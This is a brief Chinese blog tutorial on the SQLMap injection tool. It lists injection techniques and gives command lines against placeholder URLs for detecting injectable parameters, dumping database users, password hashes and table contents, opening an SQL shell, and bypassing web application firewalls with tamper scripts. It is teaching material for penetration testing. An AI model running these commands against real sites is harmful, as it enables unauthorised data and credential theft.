一、初識 SQLMap
SQLMap 是一個自動化的 SQL 注入工具,其作用是掃描、發現並利用給定 URL 的 SQL 注入漏洞。其可以完成的任務包括:
1)判斷可以注入的參數
2)判斷可以用哪種sql技術注入
3)識別出數據庫類型
4)根據用戶選擇讀取數據
二、5種SQL注入技術
1、基於布爾類型的注入
根據返回頁面判斷條件真假
2、基於時間的注入
判斷時間延遲語句是否執行
3、基於報錯注入
頁面會返回報錯信息
4、聯合查詢注入
在可以使用union的情況下的注入
5、堆查詢注入
可以同時執行多條語句時的注入
三、安裝
下載 sqlmap 並放在 python(2.7) 的安裝目錄下
四、運用
1、判斷是否存在注入的命令:
在 windows 命令行下,進入 python 安裝目錄,執行命令
python sqlmap.py -u http://xxxxxxx/xxxxx
掃描結果通常在C盤 AppData\Local\sqlmap\output’url’ 目錄下
2、POST注入
1)攔截POST請求
2)將請求複製到 txt 文件中並保存
3)執行命令
python sqlmap.py -r sql-test.txt -p param
-r 是指定 txt 文件(sql-test.txt),-p 是指定要注入的參數(param)
3、Cookie注入
–level
指定測試的等級,從低到高爲1~5,默認爲1,當 level 大於等於2時,會執行 cookie 注入,level 大於等於 3 時會測試 User-Agent 和 Referer。如:
sqlmap.py -u”http://xxx.xxxx” --cookie "id=1" --dbs --level 2
五、常用指令
-
-current-user
獲取當前用戶名稱 -
–users
獲取數據庫的所有用戶 -
–passwords
獲取用戶的密碼 -
-current-db
獲取當前數據庫名稱 -
–dbs
查詢當前用戶下的所有數據庫 -
-D aaa --tables
查詢數據庫aaa中的所有表名 -
-T bbb --columns
查詢表bbb裏面所有的列 -
-C ccc,ddd --dump
下載ccc和ddd這兩列的值 -
–is-dba
判斷當前賬戶是否爲管理員用戶,返回True或False -
–roles
列出數據庫用戶的角色 -
–sql-shell
用於運行指定的 sql 語句 -
–tamper //重要指令
對數據做修改繞過WAF,其自帶的腳本可以將 ’ 替換爲 \’ 等,常用腳本有 space2plus.py(將空格替換爲+)、space2hash.py(將空格替換爲#)等
歡迎關注微信公衆號,您的支持是對我最大的鼓勵